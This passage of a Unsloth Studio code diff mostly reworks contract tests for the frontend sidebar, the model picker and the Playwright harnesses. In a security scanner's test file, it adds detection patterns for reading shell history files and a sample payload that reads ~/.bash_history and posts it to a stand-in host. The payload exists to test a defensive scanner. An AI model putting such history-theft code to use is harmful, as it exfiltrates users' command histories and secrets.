+ return _frontend_text("i18n/locales", "components/app-sidebar.tsx")
+
+
+def _frontend_src_text() -> str:
+ """Every frontend source file, for asserting a string is absent from all of them."""
+ return _frontend_text(".")
+
+
+def _sidebar_function_body(name: str) -> str:
+ """The body of a top-level `function <name>(...) {...}` in app-sidebar.tsx, brace-matched so
+ reformatting does not change what is read, and so unrelated edits elsewhere cannot fail it."""
+ sidebar = (_FRONTEND_SRC / "components" / "app-sidebar.tsx").read_text(encoding = "utf-8")
+ start = sidebar.index(f"function {name}(")
+ open_brace = sidebar.index("{", start)
+ depth = 0
+ for i in range(open_brace, len(sidebar)):
+ if sidebar[i] == "{":
+ depth += 1
+ elif sidebar[i] == "}":
+ depth -= 1
+ if depth == 0:
+ return sidebar[open_brace : i + 1]
+ raise AssertionError(f"unbalanced braces reading {name} out of app-sidebar.tsx")
+
+
# ---------------------------------------------------------------------------
# 1. Sandbox location
# ---------------------------------------------------------------------------
@@ -1928,11 +1979,13 @@ def test_a_case_variant_chat_gets_its_own_directory(tmp_path, monkeypatch):
def test_the_delete_switch_does_not_promise_project_files():
"""A chat moved back to Recents wrote its earlier files into the project
workspace, which chat deletion does not touch."""
- sidebar = (
- Path(__file__).resolve().parents[2] / "frontend" / "src" / "components" / "app-sidebar.tsx"
- ).read_text(encoding = "utf-8")
- assert "This chat's own sandbox folder is removed from disk." in sidebar
- assert "Anything this chat's tools wrote is removed from disk." not in sidebar
+ # The copy is the contract, not where it lives: #8932 moved these strings into the locale file
+ # unchanged and broke a grep of app-sidebar.tsx.
+ # The promise it must make: looked for where the sidebar's user-visible copy lives, not
+ # across the whole tree, or an occurrence in an unrelated file would satisfy it.
+ assert "This chat's own sandbox folder is removed from disk." in _frontend_copy_text()
+ # The promise it must not make: looked for everywhere, where breadth only tightens it.
+ assert "Anything this chat's tools wrote is removed from disk." not in _frontend_src_text()
def test_a_tool_cannot_forge_its_way_into_owning_a_folder(tmp_path, monkeypatch):
@@ -2213,11 +2266,33 @@ def test_an_unowned_cache_of_trainers_is_not_put_on_sys_path(tmp_path, monkeypat
def test_the_delete_switch_reaches_a_chat_moved_into_a_project():
"""Anything it wrote before the move is in its own folder, and the backend
never touches the project workspace."""
- sidebar = (
- Path(__file__).resolve().parents[2] / "frontend" / "src" / "components" / "app-sidebar.tsx"
- ).read_text(encoding = "utf-8")
- assert 'return target.kind === "project" || target.kind === "chat";' in sidebar
- assert "!target.item.projectId" not in sidebar
+ # Read the decision out of deleteTargetHasFiles rather than pinning one spelling: #8932 added
+ # bulk targets and rewrote the body to `target.kind !== "run"`, same answer for chats and
+ # projects. The contract is that a run has no sandbox and project membership is never
+ # consulted, so assert exactly that.
+ body = _sidebar_function_body("deleteTargetHasFiles")
+ assert "projectId" not in body, (
+ "a chat moved into a project still owns the sandbox it wrote before the move, "
+ "so the switch must not be gated on project membership"
+ )
+ # Negative checks alone did not establish this. `return target.kind === "run";` -- the exact
+ # inversion, hiding the switch for every chat and project -- mentions "run", mentions no
+ # projectId, and contains neither prohibited expression, so it passed all of them. Pin the
+ # DIRECTION: run is the kind that is excluded, never the one that is included.
+ assert re.search(r'kind\s*!==\s*"run"', body) or all(
+ f'"{kind}"' in body for kind in ("chat", "chats", "project", "projects")
+ ), (
+ "the body must either exclude run by negation or name every kind that keeps its sandbox; "
+ "as written it does neither, so it cannot say which targets reach the switch"
+ )
+ assert not re.search(r'return\s+target\.kind\s*===\s*"run"\s*;', body), (
+ "inverted: this returns the delete switch for training runs only, and hides it for "
+ "every chat and project"
+ )
+ for kind in ('"chat"', '"project"'):
+ assert (
+ f"kind !== {kind}" not in body and f"kind === {kind} ? false" not in body
+ ), f"{kind} targets must keep reaching the delete switch"
def test_a_persisted_files_value_that_is_not_a_list_is_not_a_wrapper():
diff --git a/studio/frontend/src/features/model-picker/model-config/llama-extra-args.ts b/studio/frontend/src/features/model-picker/model-config/llama-extra-args.ts
index 45007b0616a..a3578da41b6 100644
--- a/studio/frontend/src/features/model-picker/model-config/llama-extra-args.ts
+++ b/studio/frontend/src/features/model-picker/model-config/llama-extra-args.ts
@@ -1040,7 +1040,7 @@ export function diagnoseExtraArgs(
level: "error",
message: control
? `${flag} is set by ${control} above and cannot be passed here.`
- : `${flag} is managed by Unsloth Studio and cannot be passed here.`,
+ : `${flag} is managed by Unsloth and cannot be passed here.`,
});
continue;
}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 6bb7f2ce851..d71cf05ad22 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -12,11 +12,11 @@ import {
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
-import {
- PermissionModeDropdown,
- SIDEBAR_ORGANIZATION_STORAGE_KEY,
- useChatRuntimeStore,
-} from "@/features/chat";
+import { PermissionModeDropdown, useChatRuntimeStore } from "@/features/chat";
+// Direct import, not via the @/features/chat barrel: the barrel is in an import cycle with this
+// file, so this key would still be in its temporal dead zone when the module-scope list below
+// reads it ("Cannot access ... before initialization"), killing the whole module graph.
+import { SIDEBAR_ORGANIZATION_STORAGE_KEY } from "@/features/chat/stores/sidebar-organization-store";
import {
LOADED_MODELS_PREFERENCE_KEYS,
setShowLoadedModels,
diff --git a/studio/frontend/tests/llama-extra-args-diagnostics.test.ts b/studio/frontend/tests/llama-extra-args-diagnostics.test.ts
index 44953fcdbee..2357ee7a4fe 100644
--- a/studio/frontend/tests/llama-extra-args-diagnostics.test.ts
+++ b/studio/frontend/tests/llama-extra-args-diagnostics.test.ts
@@ -74,7 +74,7 @@ test("a managed flag is an error that names the control that owns it", () => {
test("a managed flag with no control says who owns it instead", () => {
// --api-key is not a row in this panel, so pointing at one would be a lie.
const text = messages("--api-key secret");
- assert.match(text, /managed by Unsloth Studio/);
+ assert.match(text, /managed by Unsloth/);
assert.doesNotMatch(text, /above/);
});
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 0a86d93b721..4554a08b7f8 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -325,6 +325,44 @@ def test_proc_self_status_pattern_is_live():
assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
+def test_fs_enum_does_not_flag_the_word_history():
+ # `\bhistory\b.*\bread\b` under re.DOTALL spanned the whole file, so any module mentioning
+ # "history" before "read" was filesystem enumeration -- and a CRITICAL alongside a network
+ # call. That is how httpx, urllib3, IPython and torch got baselined.
+ for s in (
+ "history: list[Response] | None = None\n\ndef read(self): pass\n",
+ "from IPython.core.history import HistoryManager\n\ndef read(): pass\n",
+ "if retries is not None and retries.history:\n resp.read()\n",
+ 'if "history" in b:\n b.read()\n',
+ ):
+ assert not sp.RE_FS_ENUM.search(s), s
+
+
+def test_fs_enum_still_flags_real_history_file_reads():
+ # The half that matters must fire. The old `\b\.bash_history\b` / `\b\.zsh_history\b` could
+ # never match ("~/.bash_history" puts \b between two non-word chars, the same unsatisfiable-\b
+ # bug as /proc/self/status above), so every form below was missed.
+ for s in (
+ 'open(os.path.expanduser("~/.bash_history")).read()',
+ "p = Path.home() / '.zsh_history'",
+ 'f = open("/root/.python_history")',
+ "open(os.path.expanduser('~/.history'))",
+ 'hist = os.environ.get("HISTFILE")',
+ ):
+ assert sp.RE_FS_ENUM.search(s), s
+
+
+def test_history_theft_plus_network_is_critical():
+ payload = (
+ "import requests\n"
+ "data = open(os.path.expanduser('~/.bash_history')).read()\n"
+ "requests.post('http://x.invalid', data = data)\n"
+ )
+ findings = sp.check_py_file(payload, "pkg/_x.py", "pkg")
+ fs = [f for f in findings if "Enumerates filesystem" in f.check]
+ assert fs and fs[0].severity == sp.CRITICAL, findings
+
+
def _mk(
sev,
pkg,
diff --git a/tests/studio/playwright_mac_tab_capabilities.py b/tests/studio/playwright_mac_tab_capabilities.py
index 8fcda5ddc92..9713096af3c 100644
--- a/tests/studio/playwright_mac_tab_capabilities.py
+++ b/tests/studio/playwright_mac_tab_capabilities.py
@@ -88,13 +88,13 @@ _SIGNED_OUT_PATHS = ("/login", "/change-password")
# `[data-testid="nav-row-video"]` returns null on every host, every time.
#
# That matters for what this file can claim. The field report named Train AND Video, and
-# the first version of this script sampled both -- but the Video half could never observe
-# anything, so half of its evidence was structurally empty. Video is not lost coverage:
-# both rows carry the one `pending: capabilitiesUnknown` flag and both resolve it through
-# resolveNavRowState (studio/frontend/src/components/nav-row-state.ts), so Train is the
-# observable end of the same wire and the More flyout is covered by the frontend unit
-# tests instead.
-INLINE_ROW_IDS = ("hub", "projects", "images", "train")
+# the first version of this script sampled both -- but while Video sat under "More" (layout
+# v5, #7863) its half could never observe anything, so that evidence was structurally empty.
+# #8932 pins Video under Images again as layout v7, so it renders a testid and is sampled
+# once more. test_inline_row_ids_match_the_frontends_default_pinned_set holds this tuple to
+# the store's pinned set, in both directions, so neither a pin nor an unpin can leave an
+# assertion here silently observing nothing.
+INLINE_ROW_IDS = ("hub", "projects", "images", "video", "train")
# The row every pending-state assertion below is pinned to.
GATED_ROW_ID = "train"
# Intercept pattern for the browser's health reads. Matches whether api-base.ts builds a
diff --git a/tests/studio/test_model_picker_contracts.py b/tests/studio/test_model_picker_contracts.py
index 12c0309bb7e..85aeead9048 100644
--- a/tests/studio/test_model_picker_contracts.py
+++ b/tests/studio/test_model_picker_contracts.py
@@ -49,6 +49,49 @@ def _read_backend(rel: str) -> str:
return path.read_text(encoding = "utf-8")
+def _brace_matched_body(text: str, declaration: str) -> str:
+ """The body of `declaration`, ending at ITS closing brace rather than at end of file.
+
+ Splitting on a declaration and keeping the remainder looks like scoping but is not: the slice
+ runs to EOF, so an ordering assertion inside it is still satisfied by code that has been moved
+ out of the callback entirely. Match braces from the `{` that opens the body.
+ """
+ start = text.index(declaration)
+ open_brace = text.index("{", text.index("=>", start))
+ depth = 0
+ for i in range(open_brace, len(text)):
+ if text[i] == "{":
+ depth += 1
+ elif text[i] == "}":
+ depth -= 1
+ if depth == 0:
+ return text[open_brace : i + 1]
+ raise AssertionError(f"unbalanced braces reading {declaration!r}")
+
+
+def _override_lookup_candidates(*args, **kwargs) -> list[str]:
+ """The real override-key ladder, imported rather than grepped out of inference.py: #8702 moved
+ it to another module unchanged and took four contract tests red with it. The module is
+ import-cheap (stdlib only at import time)."""
+ import sys
+
+ backend = str(WORKDIR / "studio" / "backend")
+ if backend not in sys.path:
+ sys.path.insert(0, backend)
+ from utils.openai_auto_switch_settings import override_lookup_candidates
+
+ try:
+ return override_lookup_candidates(*args, **kwargs)
+ except ModuleNotFoundError as missing:
+ # The standalone-.gguf branch lazily imports hub.utils.gguf, which reaches structlog. CI
+ # installs studio.txt; a bare `pytest tests/studio/...` does not. Skip on a missing
+ # third-party package only -- a missing first-party module is a real break.
+ if (missing.name or "").split(".")[0] in {"hub", "loggers", "utils", "core", "models"}:
+ raise
+ import pytest as _pytest
+ _pytest.skip(f"needs the studio backend environment: {missing.name} is not installed")
+
+
def test_models_api_sends_token_via_header_not_query():
"""getModelConfig / checkVisionModel / checkEmbeddingModel must pass the HF
token through hubTokenHeader, never as a ?hf_token= query param (which leaks
@@ -1971,13 +2014,15 @@ def test_remembered_slots_are_read_through_the_cached_repo_alias():
assert "resolveInitialConfig(checkpointId" not in status
# The backend applies the same model's override by the same alias, which is why the
- # echo the adoption gate compares against carries the saved count at all.
- route = _read_backend("routes/inference.py")
- overrides = route.split("Apply the saved launch config so an API swap loads as the picker", 1)[
- 1
- ].split("load_kwargs = {", 1)[0]
- assert 'f"{override_id}:{variant}" if variant else None,' in overrides
- assert "override_id," in overrides
+ # echo the adoption gate compares against carries the saved count at all. Driven through the
+ # real ladder rather than grepped, for the reason in
+ # test_a_standalone_gguf_has_one_settings_identity_everywhere.
+ candidates = _override_lookup_candidates("/models/m.gguf", "org/repo", "Q8_0")
+ assert candidates[:2] == [
+ "/models/m.gguf:Q8_0",
+ "org/repo:Q8_0",
+ ], "the variant-qualified keys come first, load path before advertised alias"
+ assert "org/repo" in candidates, "the alias is still read, as the cached-alias path relies on"
def test_failed_switch_rollback_restores_the_slot_intent_not_the_resolved_count():
@@ -1997,10 +2042,18 @@ def test_failed_switch_rollback_restores_the_slot_intent_not_the_resolved_count(
assert runtime.index("const previousNParallel") < runtime.index(
"applyPerModelConfigToRuntime(pendingLoadConfig,"
), "a config staged on the selection must not replace it either"
+ # Ordering, not adjacency: the concatenated form required the two statements to be neighbours,
+ # so #8702 broke it by inserting a line between them without changing the contract.
+ # Scoped to selectWithConfig, because the hub auto-load path takes the same snapshot above the
+ # only applyModelLoadConfigToRuntime call and would satisfy a whole-file comparison on its own.
picker = " ".join(_read("features/chat/chat-page.tsx").split())
+ handoff = _brace_matched_body(picker, "const selectWithConfig = async (")
assert (
- "const previousConfig = currentRuntimePerModelConfig({ includeMaxSeqLength: true, }); "
- "const hasAppliedConfig = applyModelLoadConfigToRuntime(" in picker
+ "const previousConfig = currentRuntimePerModelConfig({ includeMaxSeqLength: true, });"
+ in handoff
+ )
+ assert handoff.index("const previousConfig = currentRuntimePerModelConfig(") < handoff.index(
+ "applyModelLoadConfigToRuntime("
), "the snapshot must be taken before the target's config is applied"
rollback = runtime.split("const rollbackSpeculativeType", 1)[1]
assert "nParallel: previousNParallel," in rollback
@@ -2710,12 +2763,15 @@ def test_a_standalone_gguf_has_one_settings_identity_everywhere():
row_identity = _read("features/hub/inventory/settings-identity.ts")
assert 'row.path.toLowerCase().endsWith(".gguf")' in row_identity
- # The precedence that makes the bare path the one that wins.
- route = _read_backend("routes/inference.py")
- assert 'f"{target_id}:{file_variant}" if file_variant else None,' in route
- bare = route.index("\n target_id,\n")
- labelled = route.index('f"{target_id}:{file_variant}"')
- assert bare < labelled, "the bare path must be read before the filename label"
+ # The precedence that makes the bare path win, asserted on the real function rather than on
+ # inference.py's text: #8702 moved this ladder to utils/openai_auto_switch_settings.py
+ # unchanged, and the grep that used to live here went red for a pure refactor.
+ candidates = _override_lookup_candidates("/models/m-Q4_K_M.gguf", "org/repo", None)
+ assert candidates == [
+ "/models/m-Q4_K_M.gguf",
+ "/models/m-Q4_K_M.gguf:Q4_K_M",
+ "org/repo",
+ ], "the bare path must be read before the filename label, and both before the alias"
def test_monitor_unload_clears_only_the_model_it_freed():
@@ -2972,10 +3028,16 @@ def test_run_settings_page_keeps_its_identifying_controls():
# The button, not the word: "Reset" also appears in this file's own comments, so a
# raw source search passes with the control deleted and the Playwright reset gate
# only finds out 25 minutes later.
- assert re.search(
- r"onClick=\{\(\) => setConfig\(\{ \.\.\.DEFAULT_PER_MODEL_CONFIG \}\)\}\s*>\s*Reset\s*</Button>",
- page,
- ), "the Reset button's JSX is gone or no longer named Reset"
+ # Whole elements, like test_the_primary_action_keeps_its_four_labels. The old single-line regex
+ # pinned the handler body exactly, so #8702 broke it by reflowing that call across lines while
+ # the button itself stayed untouched.
+ reset = any(
+ "DEFAULT_PER_MODEL_CONFIG" in el.group(0)
+ and ">\n Reset\n <" in el.group(0)
+ or ("DEFAULT_PER_MODEL_CONFIG" in el.group(0) and re.search(r">\s*Reset\s*<", el.group(0)))
+ for el in re.finditer(r"<Button\b.*?</Button>", page, re.S)
+ )
+ assert reset, "the Reset button's JSX is gone or no longer named Reset"
def test_the_primary_action_keeps_its_four_labels():
diff --git a/tests/studio/test_multi_chat_prompt_queue_contract.py b/tests/studio/test_multi_chat_prompt_queue_contract.py
index 0b4172466b6..3af7829d4b1 100644
--- a/tests/studio/test_multi_chat_prompt_queue_contract.py
+++ b/tests/studio/test_multi_chat_prompt_queue_contract.py
@@ -741,8 +741,10 @@ def test_clear_all_invalidates_and_removes_late_fresh_thread_initialization():
assert CLEAR_ALL_CHATS.index("chatHistoryClearBoundary.advance();") < CLEAR_ALL_CHATS.index(
"requestPromptQueueStop();"
)
+ # Matched on the call prefix, not the whole call: #8932 gave clearStoredChats an options
+ # argument, which changes nothing about the ordering this pins.
assert CLEAR_ALL_CHATS.index("requestPromptQueueStop();") < CLEAR_ALL_CHATS.index(
- "return await clearStoredChats();"
+ "return await clearStoredChats("
)
assert "const historyClearGeneration = chatHistoryClearBoundary.capture();" in RUNTIME_PROVIDER
assert "await throwIfHistoryWasCleared(initialized.remoteId);" in RUNTIME_PROVIDER
diff --git a/tests/studio/test_playwright_server_lifecycle.py b/tests/studio/test_playwright_server_lifecycle.py
index 5af4cfc2fc3..0993837392b 100644
--- a/tests/studio/test_playwright_server_lifecycle.py
+++ b/tests/studio/test_playwright_server_lifecycle.py
@@ -149,7 +149,7 @@ def test_readiness_gives_up_as_soon_as_our_server_dies(monkeypatch, no_signals)
@pytest.mark.parametrize("harness", HARNESSES)
def test_ports_do_not_collide_and_are_overridable(harness) -> None:
import re
- src = (Path(__file__).resolve().parent / f"{harness}.py").read_text()
+ src = (Path(__file__).resolve().parent / f"{harness}.py").read_text(encoding = "utf-8")
assert re.search(r'SMOKE_PORT",\s*"\d+"', src), f"{harness} has no SMOKE_PORT default"
@@ -158,7 +158,7 @@ def test_every_harness_picks_a_different_default_port() -> None:
ports = {}
for harness in HARNESSES:
- src = (Path(__file__).resolve().parent / f"{harness}.py").read_text()
+ src = (Path(__file__).resolve().parent / f"{harness}.py").read_text(encoding = "utf-8")
ports[harness] = re.search(r'SMOKE_PORT",\s*"(\d+)"', src).group(1)
assert len(set(ports.values())) == len(HARNESSES), f"default ports collide: {ports}"